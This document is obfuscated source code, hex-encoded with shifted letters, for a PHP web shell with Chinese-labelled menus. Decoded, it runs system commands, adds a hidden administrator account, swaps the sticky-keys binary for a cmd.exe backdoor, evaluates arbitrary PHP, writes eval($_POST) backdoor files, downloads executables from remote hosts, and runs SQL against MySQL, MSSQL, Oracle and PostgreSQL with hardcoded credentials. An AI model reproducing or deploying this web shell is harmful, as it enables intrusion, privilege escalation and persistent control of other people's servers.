2277696474683n33393870783o223r20273o0q0n6563686s20273p73656p656374206r616q653q22737472223r273o0q0n2473656p65637473203q206172726179282766756r27203q3r202770687066756r272p27636s6q27203q3r20277773637269707427293o0q0n666s7265616368282473656p656374732061732024766172203q3r20246r616q6529207o206563686s20273p6s7074696s6r2076616p75653q22272r247661722r2722272r2824766172203q3q2024737472203s20272073656p656374656427203n202727292r273r272r246r616q652r273p2s6s7074696s6r3r273o207q0q0n6563686s20273p2s73656p6563743r20273o0q0n6563686s20273p73656p656374206s6r6368616r67653q2224285p2765786563636q645p27292r76616p75653q6s7074696s6r735o73656p6563746564496r6465785q2r76616p7565223r273o0q0n6563686s20273p6s7074696s6r3r2q2q2qr591oqr4oon4r99o86r590882q2q2q3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s20272r68746q6p7370656369616p63686172732827223p3s70687020706870696r666s28293o3s3r2227292r27203r3r20272r544849534449522r277430306p732r747874223rr58699r69687r4ooo63p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2277686s616q69223r77686s616q693p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2273797374656q696r666s223rr78988r69pnpr4osn1r681ns2857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2270617468223r706174682857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226970636s6r666967202s616p6p223r6970636s6r6669672857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q227461736o6p697374202s737663223r7461736o6p6973742857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226r657473746174202q616r223r6r657473746174202q616r2857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226r65742075736572223r6r657420757365722857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226r657420636s6r66696720776s726o73746174696s6r223r6r657420636s6r66696720776s726o73746174696s6r2857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226r657420636s6r66696720736572766572223r6r657420636s6r666967207365727665722857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226r6574207573657220246168736563206168736563202s6164642026206r6574206p6s63616p67726s75702061646q696r6973747261746s727320246168736563202s616464223rr6o7oor58nn0r794n8r688o72857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2271756572792075736572223r717565727920757365722857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22636s707920633n77696r646s77736578706p6s7265722r65786520633n77696r646s777373797374656q333273657468632r657865202620636s707920633n77696r646s777373797374656q333273657468632r65786520633n77696r646s777373797374656q3332646p6p636163686573657468632r657865223r7368696674r5908rr997n82857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2274667470202q69206970r59po0r59q8020676574207365727665722r65786520633n5p7365727665722r657865223r467470r4o88or8oqoq2857696r293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q227073202q6566223r7073284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226966636s6r666967223r6966636s6r666967284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22636174202s6574632s7379736p6s672r636s6r66223r7379736p6s672r636s6r66284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22636174202s6574632s6q792r636r66223r6q792r636r66284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22636174202s6574632s686s737473223r686s737473284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22636174202s6574632s7365727669636573223r7365727669636573284p696r7578293p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q2269643o756r616q65202q613o636174202s6574632s69737375653o636174202s70726s632s76657273696s6r3o6p73625s72656p65617365202q61223r4p696r75782qr78988r69pnpr99o86r590883p2s6s7074696s6r3r273o0q0n6563686s20273p2s73656p6563743r20273o0q0n6563686s20273p696r70757420747970653q227375626q697422207374796p653q2277696474683n353070783o222076616p75653q22r689n7r8n18p223r273o0q0n6563686s20273p2s6469763r3p64697620636p6173733q22616374616p6p223r3p7465787461726561207374796p653q2277696474683n36393870783o6865696768743n33363870783o223r272r68746q6p7370656369616p636861727328247265735o27726573275q292r273p2s74657874617265613r3p2s6469763r3p2s666s726q3r273o0q0n627265616o3o0q0n0q0n6361736520227363616r22203n200q0n247363616r646972203q20656q70747928245s504s53545o27646972275q29203s206261736536345s6465636s646528245s504s53545o27676s766172275q29203n20246r6s776469723o0q0n246o6579776s7264203q20697373657428245s504s53545o276o6579776s7264275q29203s20245s504s53545o276o6579776s7264275q203n2027273o0q0n24696r636p756465203q20697373657428245s504s53545o27696r636p756465275q29203s2063686s7028245s504s53545o27696r636p756465275q29203n20272r7068707p2r6173707p2r6173617p2r6365727p2r617370787p2r6n73707p2r6367697p2r73687p2r706p7p2r7079273o0q0n2466696p74657273203q20697373657428245s504s53545o2766696p74657273275q29203s2063686s7028245s504s53545o2766696p74657273275q29203n202768746q6p7p6373737p696q677p696q616765737p696q6167657p7374796p657p6n73273o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q227363616r223r273o0q0n6563686s20273p7461626p6520636p6173733q227461626p6573223r3p74723r3p7468207374796p653q2277696474683n3135253o223rr5908qr7n7o03p2s74683r3p74683rr8nrorr7oqnr3p2s74683r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6909pr7o4n2r8o7nsr5or843p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q22646972222076616p75653q22272r68746q6p7370656369616p636861727328247363616r646972292r2722207374796p653q2277696474683n35303070783o223r3p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6909pr7o4n2r58685r5nro93p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q226o6579776s7264222076616p75653q22272r68746q6p7370656369616p636861727328246o6579776s7264292r2722207374796p653q2277696474683n35303070783o223r2028r69687r4ooo6r5908qr68896r69687r4ooo6r58685r5nro9293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr69687r4ooo6r5908rr7op803p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q22696r636p756465222076616p75653q22272r68746q6p7370656369616p63686172732824696r636p756465292r2722207374796p653q2277696474683n35303070783o223r2028r794n8227p22r58886r589o22p20r4o8onr7n9onr58899r6909pr7o4n2r68980r69p89r69687r4ooo6293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr8os87r6oon4r79onrr5oq953p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q2266696p74657273222076616p75653q22272r68746q6p7370656369616p6368617273282466696p74657273292r2722207374796p653q2277696474683n35303070783o223r2028r794n8227p22r58886r589o22p20r4o8onr7n9onr58899r4o88qr8os87r6oon4r79onrr5oq95293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6909pr7o4n2r696o9r5op8s3p2s74643r3p74643r3p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2274797065222076616p75653q223022272r28245s504s53545o2774797065275q203s202727203n202720636865636o656427292r273rr6909pr7o4n2r69687r4ooo6r5908q3p2s6p6162656p3r20273o0q0n6563686s20273p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2274797065222076616p75653q223122272r28245s504s53545o2774797065275q203s202720636865636o656427203n202727292r273rr6909pr7o4n2r58p85r590nor69687r5nq973p2s6p6162656p3r20273o0q0n6563686s20273p6p6162656p3r3p696r70757420747970653q22636865636o626s7822206r616q653q2263686172222076616p75653q223122272r28245s504s53545o2763686172275q203s202720636865636o656427203n202727292r273rr58po9r9858qr5n4n7r5o08sr586993p2s6p6162656p3r3p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6909pr7o4n2r88p83r59oo43p2s74643r3p74643r3p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2272616r6765222076616p75653q223022272r28245s504s53545o2772616r6765275q203s202727203n202720636865636o656427292r273rr5o086r6909pr7o4n2r5on94r794n8r4on8rr8nsn5r69687r4ooo6r5n4o92pr5nq90r69687r4ooo6r5n4o9r5928pr69687r4ooo63p2s6p6162656p3r20273o0q0n6563686s20273p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2272616r6765222076616p75653q223122272r28245s504s53545o2772616r6765275q203s202720636865636o656427203n202727292r273rr4oo85r5o086r6909pr7o4n2r5on94r794n8r4on8rr8nsn5r69687r4ooo6r5n4o93p2s6p6162656p3r3p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr6938qr4oq9p3p2s74643r3p74643r3p696r70757420747970653q227375626q697422207374796p653q2277696474683n383070783o222076616p75653q22r6909pr7o4n2223r3p2s74643r3p2s74723r273o0q0n6563686s20273p2s7461626p653r3p2s666s726q3r273o0q0n696628246o6579776s726420213q20272729207o0q0n09666p75736828293o206s625s666p75736828293o0q0n096563686s20273p646976207374796p653q2270616464696r673n3570783o6261636o67726s756r643n234638463846383o746578742q616p69676r3n6p6566743o223r273o0q0n0924696r6373203q2024696r636p756465203q3q202727203s2066616p7365203n206578706p6s646528277p272p24696r636p756465293o0q0n092466697473203q202466696p74657273203q3q202727203s2066616p7365203n206578706p6s646528277p272p2466696p74657273293o0q0n0924697372656164203q207363616r66696p652873747264697228247363616r6469722r272s27292p246o6579776s72642p24696r63732p24666974732p245s504s53545o2774797065275q2p245s504s53545o2763686172275q2p245s504s53545o2772616r6765275q2p246r6s77646972293o0q0n096563686s20273p703r272r2824697372656164203s20273p68323rr6909pr7o4n2r5nr8pr688903p2s68323r27203n20273p68313rr6909pr7o4n2r5n4o1r8o4n53p2s68313r27292r273p2s703r3p2s6469763r273o0q0n7q0q0n627265616o3o0q0n0q0n636173652022616r7469766972757322203n200q0n247363616r646972203q20656q70747928245s504s53545o27646972275q29203s206261736536345s6465636s646528245s504s53545o27676s766172275q29203n20246r6s776469723o0q0n2474797065617272203q20697373657428245s504s53545o27646972275q29203s20245s504s53545o277479706573275q203n206172726179282770687027203q3r20272r7068707p2r696r637p2r7068746q6p27293o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q22616r74697669727573223r273o0q0n6563686s20273p7461626p6520636p6173733q227461626p6573223r3p74723r3p7468207374796p653q2277696474683n3135253o223rr5908qr7n7o03p2s74683r3p74683rr8nrorr7oqnr3p2s74683r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr689nor68s8sr8o7nsr5or843p2s74643r3p74643r3p696r70757420747970653q227465787422206r616q653q22646972222076616p75653q22272r68746q6p7370656369616p636861727328247363616r646972292r2722207374796p653q2277696474683n33393870783o223r2028r98787r794n8r6nqn3r58899r58po9r9858q293p2s74643r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr69sn5r69q80r7o1oor59r8o3p2s74643r3p74643r273o0q0n247479706573203q206172726179282770687027203q3r20272r7068707p2r696r637p2r7068746q6p272p276173702o6173707827203q3r20272r61737p2r63737p2r636572272p276n737027203q3r20272r6n737027293o0q0n666s72656163682824747970657320617320246o6579203q3r2024657829206563686s20273p6p6162656p207469746p653q22272r2465782r27223r3p696r70757420747970653q22636865636o626s7822206r616q653q2274797065735o272r246o65792r275q222076616p75653q22272r2465782r2722272r2824747970656172725o246o65795q203q3q20246578203s202720636865636o656427203n202727292r273r272r246o65792r273p2s6p6162656p3r20273o0q0n6563686s20273p2s74643r3p2s74723r3p74723r3p74643rr6938qr4oq9p3p2s74643r3p74643r3p696r70757420747970653q227375626q697422207374796p653q2277696474683n383070783o222076616p75653q22r689nor68s8s223r3p2s74643r3p2s74723r273o0q0n6563686s20273p2s7461626p653r3p2s666s726q3r273o0q0n696628636s756r7428245s504s53545o277479706573275q29203r203029207o0q0n09246q617463686573203q206172726179280q0n09092770687027203q3r2061727261792809292p0q0n0909276173702o6173707827203q3r2061727261792809292p0q0n0909276n737027203q3r20617272617928290q0n09293o0q0n09666p75736828293o0q0n096s625s666p75736828293o0q0n096563686s20273p646976207374796p653q2270616464696r673n3570783o6261636o67726s756r643n234638463846383o746578742q616p69676r3n6p6566743o223r273o0q0n0924697372656164203q20616r746976697275732873747264697228247363616r6469722r272s27292p24747970656172722p246q6174636865732p246r6s77646972293o0q0n096563686s20273p703r272r2824697372656164203s20273p68323rr689nor68s8sr5nr8pr688903p2s68323r27203n20273p68313rr689nor68s8sr5n4o1r8o4n53p2s68313r27292r273p2s703r3p2s6469763r273o0q0n7q0q0n627265616o3o0q0n0q0n6361736520227068706576616p22203n200q0n696628697373657428245s504s53545o27706870636s6465275q2929207o0q0n0924706870636s6465203q2063686s7028245s504s53545o27706870636s6465275q293o0q0n096s625s737461727428293o0q0n096966287375627374722824706870636s64652p302p3229203q3q20273p3s27202626207375627374722824706870636s64652p2q3229203q3q20273s3r2729207o20406576616p2028273s3r272r24706870636s64652r273p3s7068702027293o207q0q0n09656p7365207o20406576616p202824706870636s6465293o207q0q0n09246s7574203q206s625s6765745s636s6r74656r747328293o0q0n096s625s656r645s636p65616r28293o0q0n7q20656p7365207o0q0n0924706870636s6465203q2027706870696r666s28293o273o0q0n09246s7574203q2027r59o9rr698orr7nn97r58sn3273o0q0n7q0q0n6563686s206261736536345s6465636s6465282750484r6n636q6p77644342306558426p50534n305n5868304p327068646q467n59334n7063485169506q5n31626q4r306157397549484n31626q4r765n47556s62324n71626q46745n536o6765335n6863694233615735755957316p4944306764326p755n4739334p6q39775n57346s4n796373496p396962474675617949734n7963704s335n6863694276596q6s675053426o62324r31625756756443356r5n585246624756745n573530516r6p4n5n436876596q70755957316p4o547433615735755957316p4p6q5276593356745n5735304p6q39775n57346s4n33526p6548517661485274624363734n334n6p634778685932556r4o547433615735755957316p4p6q39775n57356p63694139494735316247773764326p75626q46745n53356o62324r316257567564433533636q6p305n536876596q6s75646q4673645755704s336470626q3568625755755n47396n6457316p626r5175593278766332556s4o5474395043397n59334n706348512o27293o0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q227068706576616p223r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p223r3p703r3p7465787461726561206r616q653q22706870636s6465222069643q22706870636s646522207374796p653q2277696474683n36393870783o6865696768743n31383070783o223r272r68746q6p7370656369616p63686172732824706870636s6465292r273p2s74657874617265613r3p2s703r3p703r273o0q0n6563686s20273p73656p656374206s6r6368616r67653q2224285p27706870636s64655p27292r76616p75653q6s7074696s6r735o73656p6563746564496r6465785q2r76616p7565223r273o0q0n6563686s20273p6s7074696s6r3r2q2q2qr5o8o8r794n8r4oon3r7n0812q2q2q3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s207265616466696p65285p27433n2s7765622s7430306p732r7068705p27293o223rr8nsoor58s96r69687r4ooo63p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q222466703q666s70656r285p27433n2s7765622s7430306p732r7068705p272p5p27775p27293o6563686s206670757473282466702p5p273p3s706870206576616p28245s504s53545o636q645q293o3s3r5p27293s5p2753756363657373215p273n5p274661696p215p273o66636p6s736528246670293o223rr58699r585n5r69687r4ooo63p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s20636s7079285p27433n2s7765622s7430306p73312r7068705p272p5p27433n2s7765622s7430306p73322r7068705p27293s5p2753756363657373215p273n5p274661696p215p273o223rr5n48qr588o6r69687r4ooo63p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s2063686q6s64285p27433n2s7765622s7430306p73312r7068705p272p30373737293s5p2753756363657373215p273n5p274661696p215p273o223rr4osnrr694o9r5o19rr680n73p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s2066696p655s7075745s636s6r74656r7473285p27272r544849534449522r27636q642r6578655p272p2066696p655s6765745s636s6r74656r7473285p27687474703n2s2s7777772r62616964752r636s6q2s636q642r6578655p2729293s5p2753756363657373215p273n5p274661696p215p273o223rr8os9pr7n88or4o88or8oqoq3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q227072696r745s7228245s534552564552293o223rr78rnsr5n283r58s98r9878s3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q226563686s2066696p657228636872283437292r63687228313031292r63687228313136292r636872283939292r636872283437292r63687228313135292r63687228313034292r636872283436292r636872283939292r63687228313131292r63687228313130292r6368722831303229292r2671756s743o5p725p6r2671756s743o2r66696p657228636872283437292r63687228313038292r63687228313035292r636872283938292r636872283437292r63687228313038292r63687228313035292r636872283938292r63687228313135292r63687228313034292r636872283436292r63687228313135292r63687228313131292r636872283437292r63687228313135292r63687228313034292r63687228313030292r636872283939292r6368722831303229292r2671756s743o5p725p6r2671756s743o2r66696p657228636872283437292r63687228313031292r63687228313136292r636872283939292r636872283437292r63687228313132292r636872283937292r63687228313135292r63687228313135292r63687228313139292r6368722831303029293o223r66696r6420726s6s746o69743p2s6s7074696s6r3r273o0q0n6563686s20273p2s73656p6563743r20273o0q0n6563686s20273p696r70757420747970653q227375626q697422207374796p653q2277696474683n383070783o222076616p75653q22r689n7r8n18p223r3p2s703r3p2s6469763r273o0q0n6563686s20273p2s666s726q3r3p64697620636p6173733q22616374616p6p223r3p703r3p74657874617265612069643q226576616p636s646522207374796p653q2277696474683n36393870783o6865696768743n31383070783o223r272r68746q6p7370656369616p636861727328246s7574292r273p2s74657874617265613r3p2s703r3p703r3p696r70757420747970653q22627574746s6r222076616p75653q22r4oon548544q4pr8os90r8n18pr4oon5r4o88nr4oon3r7n08122206s6r636p69636o3q2272756r636s6465285p276576616p636s64655p2729223r3p2s703r3p2s6469763r273o0q0n627265616o3o0q0n0q0n63617365202273716p22203n200q0n6966282821656q70747928245s504s53545o2773716p686s7374275q2929202626202821656q70747928245s504s53545o2773716p75736572275q2929202626202821656q70747928245s504s53545o276r616q6573275q292929207o0q0n092474797065203q20245s504s53545o2774797065275q3o0q0n092473716p686s7374203q20245s504s53545o2773716p686s7374275q3o0q0n092473716p75736572203q20245s504s53545o2773716p75736572275q3o0q0n092473716p70617373203q20245s504s53545o2773716p70617373275q3o0q0n092473716p6r616q65203q20245s504s53545o2773716p6r616q65275q3o0q0n092473716p636s6465203q20245s504s53545o2773716p636s6465275q3o0q0n09246r616q6573203q20245s504s53545o276r616q6573275q3o0q0n0973776974636828247479706529207o0q0n0909636173652022506s737467726553716p22203n200q0n090969662866756r6374696s6r5s657869737473282770675s636p6s73652729297o0q0n090909696628737472737472282473716p686s73742p273n272929207o20246172726179203q206578706p6s646528273n272p2473716p686s7374293o202473716p686s7374203q202461727261795o305q3o202473716p706s7274203q202461727261795o315q3o207q0q0n090909656p7365207o202473716p706s7274203q20353433323o207q0q0n090909246462636s6r6r203q204070675s636s6r6r6563742822686s73743q2473716p686s737420706s72743q2473716p706s72742064626r616q653q2473716p6r616q6520757365723q2473716p757365722070617373776s72643q2473716p7061737322293o0q0n090909696628246462636s6r6r29207o0q0n09090909246q7367203q20273p68323rr8os9rr68rn5272r24747970652r27r68890r58n9s203p2s68323r273o0q0n0909090970675s7175657279282773657420636p69656r745s656r636s64696r673q272r246r616q6573293o0q0n0909090924726573756p74203q2070675s7175657279282473716p636s6465293o0q0n0909090969662824726573756p7429207o20246q7367202r3q20273p68323r202q20r689n7r8n18p53514pr68890r58n9s3p2s68323r273o207768696p6528246172726179203q2070675s66657463685s61727261792824726573756p742929207o2024726s77735o5q203q202461727261793o207q207q0q0n09090909656p7365207o20246q7367202r3q20273p68313r202q20r689n7r8n18p53514pr5n4o1r8o4n53p2s68313r273o2024726s7773203q20617272617928276572726s7227203q3r2070675s726573756p745s6572726s722824726573756p7429293o207q0q0n0909090970675s667265655s726573756p742824726573756p74293o0q0n0909097q20656p7365207o0q0n09090909246q7367203q20273p68313rr8os9rr68rn5272r24747970652r27r5n4o1r8o4n53p2s68313r273o0q0n0909097q0q0n0909094070675s636p6s736528246462636s6r6r293o0q0n09097q20656p7365207o0q0n090909246q7367203q20273p68313rr4o88qr694nsr68p81272r24747970652r273p2s68313r273o0q0n09097q0q0n0909627265616o3o0q0n09096361736520224q7353716p22203n200q0n090969662866756r6374696s6r5s65786973747328276q7373716p5s636p6s73652729297o0q0n090909246462636s6r6r203q20406q7373716p5s636s6r6r656374282473716p686s73742p2473716p757365722p2473716p70617373293o0q0n090909696628246462636s6r6r29207o0q0n09090909246q7367203q20273p68323rr8os9rr68rn5272r24747970652r27r68890r58n9s203p2s68323r273o0q0n090909096q7373716p5s73656p6563745s6462282473716p6r616q652p246462636s6r6r293o0q0n0909090924726573756p74203q206q7373716p5s7175657279282473716p636s6465293o0q0n0909090969662824726573756p7429207o20246q7367202r3q20273p68323r202q20r689n7r8n18p53514pr68890r58n9s3p2s68323r273o207768696p652028246172726179203q206q7373716p5s66657463685s61727261792824726573756p742929207o2024726s77735o5q203q202461727261793o207q207q0q0n09090909656p7365207o20246q7367202r3q20273p68313r202q20r689n7r8n18p53514pr5n4o1r8o4n53p2s68313r273o207q0q0n09090909406q7373716p5s667265655s726573756p742824726573756p74293o0q0n0909097q20656p7365207o0q0n09090909246q7367203q20273p68313rr8os9rr68rn5272r24747970652r27r5n4o1r8o4n53p2s68313r273o0q0n0909097q0q0n090909406q7373716p5s636p6s736528246462636s6r6r293o0q0n09097q20656p7365207o0q0n090909246q7367203q20273p68313rr4o88qr694nsr68p81272r24747970652r273p2s68313r273o0q0n09097q0q0n0909627265616o3o0q0n09096361736520224s7261636p6522203n200q0n090969662866756r6374696s6r5s65786973747328276s63695s636p6s73652729297o0q0n09090924636s6r6r203q20406s63695s636s6r6r656374282473716p757365722p2473716p706173732p2473716p686s73742r272s272r2473716p6r616q65293o0q0n09090969662824636s6r6r29207o0q0n09090909246q7367203q20273p68323rr8os9rr68rn5272r24747970652r27r68890r58n9s203p2s68323r273o0q0n090909092473746964203q206s63695s70617273652824636s6r6r2p2473716p636s6465293o0q0n090909096s63695s65786563757465282473746964293o0q0n09090909696628247374696429207o20246q7367202r3q20273p68323r202q20r689n7r8n18p53514pr68890r58n9s3p2s68323r273o207768696p65202828246172726179203q206s63695s66657463685s61727261792824737469642p4s43495s4153534s43292929207o2024726s77735o5q203q202461727261793o207q207q0q0n09090909656p7365207o20246q7367202r3q20273p68313r202q20r689n7r8n18p53514pr5n4o1r8o4n53p2s68313r273o202465203q206s63695s6572726s7228293o2024726s7773203q20617272617928276572726s7227203q3r2024655o276q657373616765275q293o207q0q0n090909096s63695s667265655s73746174656q656r74282473746964293o0q0n0909097q20656p7365207o0q0n090909092465203q206s63695s6572726s7228293o2024726s7773203q20617272617928276572726s7227203q3r2024655o276q657373616765275q293o0q0n09090909246q7367203q20273p68313rr8os9rr68rn5272r24747970652r27r5n4o1r8o4n53p2s68313r273o0q0n0909097q0q0n090909406s63695s636p6s73652824636s6r6r293o0q0n09097q20656p7365207o0q0n090909246q7367203q20273p68313rr4o88qr694nsr68p81272r24747970652r273p2s68313r273o0q0n09097q0q0n0909627265616o3o0q0n09096361736520224q7953716p22203n200q0n090969662866756r6374696s6r5s65786973747328276q7973716p5s636p6s73652729297o0q0n09090924636s6r6r203q206q7973716p5s636s6r6r65637428737472737472282473716p686s73742p273n2729203s202473716p686s7374203n202473716p686s73742r273n33333036272p2473716p757365722p2473716p706173732p2473716p6r616q65293o0q0n09090969662824636s6r6r29207o0q0n09090909246q7367203q20273p68323rr8os9rr68rn5272r24747970652r27r68890r58n9s203p2s68323r273o0q0n09090909696628737562737472282473716p636s64652p302p3629203q3q20277430306p73612729207o0q0n0909090909246172726179203q20617272617928293o202464617461203q2027273o202469203q20303o0q0n0909090909707265675s6q617463685s616p6p28272s7430306p73615p732n5p27282r2n295p275p732n7430306p73625p732n5p27282r2n295p275p732n7430306p73635p732n5p27282r2n295p275p732n7430306p7366696p655p732n5p27282r2n295p272s69272p2473716p636s64652p246172726179293o0q0n09090909096966282461727261795o315q5o305q202626202461727261795o325q5o305q202626202461727261795o335q5o305q202626202461727261795o345q5o305q29207o0q0n0909090909096q7973716p5s73656p6563745s6462282461727261795o315q5o305q2p24636s6r6r293o0q0n0909090909096q7973716p5s71756572792827736574206r616q657320272r246r616q65732p24636s6r6r293o0q0n09090909090924737069646572636s6465203q202773656p65637420272r2461727261795o335q5o305q2r272066726s6q2060272r2461727261795o325q5o305q2r27603o273o0q0n09090909090924726573756p74203q206q7973716p5s71756572792824737069646572636s64652p24636s6r6r293o0q0n09090909090969662824726573756p7429207o0q0n090909090909097768696p652824726s77203q206q7973716p5s66657463685s61727261792824726573756p742p4q5953514p5s4153534s432929207o202464617461202r3q206n6s696r28277o7r7q272p24726s77292r225p725p6r223o2024692o2o3o207q0q0n09090909090909696628246461746129207o0q0n09090909090909092466696p65203q20737472646972282461727261795o345q5o305q293o0q0n0909090909090909246q7367202r3q2066696p6577282466696p652p24646174612p27772729203s20273p68323r202q20r884o1r5on93r68890r58n9s3p2s68323r27203n20273p68313r202q20r5nsopr587onr69687r4ooo6r5n4o1r8o4n53p2s68313r273o0q0n090909090909090924726s7773203q206172726179282766696p6527203q3r202466696p652p73697n652866696p6573697n65282466696p652929203q3r2027r585o1r88ro7r58s96272r24692r27r69qn1r695o0r68qnr27293o0q0n090909090909097q0q0n09090909090909656p7365207o20246q7367202r3q20273p68313r202q20r6o2n1r69p89r695o0r68qnr3p2s68313r273o207q0q0n0909090909097q0q0n090909090909656p7365207o20246q7367202r3q20273p68313r202q20r689n7r8n18p53514pr5n4o1r8o4n53p2s68313r273o2024726s7773203q20617272617928276572726r6s27203q3r206q7973716p5s6572726r6s28292p276572726s7227203q3r206q7973716p5s6572726s722829293o207q0q0n09090909097q0q0n0909090909656p7365207o20246q7367202r3q20273p68313r202q20r884o1r5on93r8nsnqr58sn5r99499r8nsns3p2s68313r273o207q0q0n090909097q20656p736569662821656q707479282473716p636s64652929207o0q0n09090909096q7973716p5s73656p6563745s6462282473716p6r616q652p24636s6r6r293o0q0n09090909096q7973716p5s71756572792827736574206r616q657320272r246r616q65732p24636s6r6r293o0q0n090909090924726573756p74203q206q7973716p5s7175657279282473716p636s64652p24636s6r6r293o0q0n090909090969662824726573756p7429207o20246q7367202r3q20273p68323r202q20r689n7r8n18p53514pr68890r58n9s3p2s68323r273o207768696p6528246172726179203q206q7973716p5s66657463685s61727261792824726573756p742p4q5953514p5s4153534s432929207o2024726s77735o5q203q202461727261793o207q207q0q0n0909090909656p7365207o20246q7367202r3q20273p68313r202q20r689n7r8n18p53514pr5n4o1r8o4n53p2s68313r273o2024726s7773203q20617272617928276572726r6s27203q3r206q7973716p5s6572726r6s28292p276572726s7227203q3r206q7973716p5s6572726s722829293o207q0q0n090909097q0q0n090909096q7973716p5s667265655s726573756p742824726573756p74293o0q0n0909097q20656p7365207o0q0n09090909246q7367203q20273p68313rr8os9rr68rn5272r24747970652r27r5n4o1r8o4n53p2s68313r273o0q0n0909090924726s7773203q20617272617928276572726r6s27203q3r206q7973716p5s6572726r6s28292p276572726s7227203q3r206q7973716p5s6572726s722829293o0q0n0909097q0q0n0909096q7973716p5s636p6s73652824636s6r6r293o0q0n09097q20656p7365207o0q0n090909246q7367203q20273p68313rr4o88qr694nsr68p81272r24747970652r273p2s68313r273o0q0n09097q0q0n0909627265616o3o0q0n097q0q0n7q20656p7365207o0q0n092474797065203q20274q7953716p273o0q0n092473716p686s7374203q20276p6s63616p686s73743n33333036273o0q0n092473716p75736572203q2027726s6s74273o0q0n092473716p70617373203q2027313233343536273o0q0n092473716p6r616q65203q20276q7973716p273o0q0n092473716p636s6465203q202773656p6563742076657273696s6r28293o273o0q0n09246r616q6573203q202767626o273o0q0n7q0q0n6563686s20273p64697620636p6173733q226q7367626s78223r272r246q73672r273p2s6469763r273o0q0n6563686s20273p666s726q206q6574686s643q22504s5354223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22676s222069643q22676s222076616p75653q2273716p223r273o0q0n6563686s20273p7461626p6520636p6173733q227461626p6573223r3p74723r3p7468207374796p653q2277696474683n3135253o223rr5908qr7n7o03p2s74683r3p74683rr8nrorr7oqnr3p2s74683r3p2s74723r273o0q0n6563686s20273p74723r3p74643rr694nsr68p81r7o1oor59r8o3p2s74643r3p74643r273o0q0n24646273203q20617272617928274q7953716p272p274q7353716p272p274s7261636p65272p27506s737467726553716p27293o0q0n666s72656163682824646273206173202464626r616q6529207o206563686s20273p6p6162656p3r3p696r70757420747970653q22726164696s22206r616q653q2274797065222076616p75653q22272r2464626r616q652r2722272r282474797065203q3q202464626r616q65203s202720636865636o656427203n202727292r273r272r2464626r616q652r273p2s6p6162656p3r20273o207q0q0n6563686s20273p2s74643r3p2s74723r3p74723r3p74643rr8os9rr68rn53p2s74643r3p74643rr59po0r59q80203p696r70757420747970653q227465787422206r616q6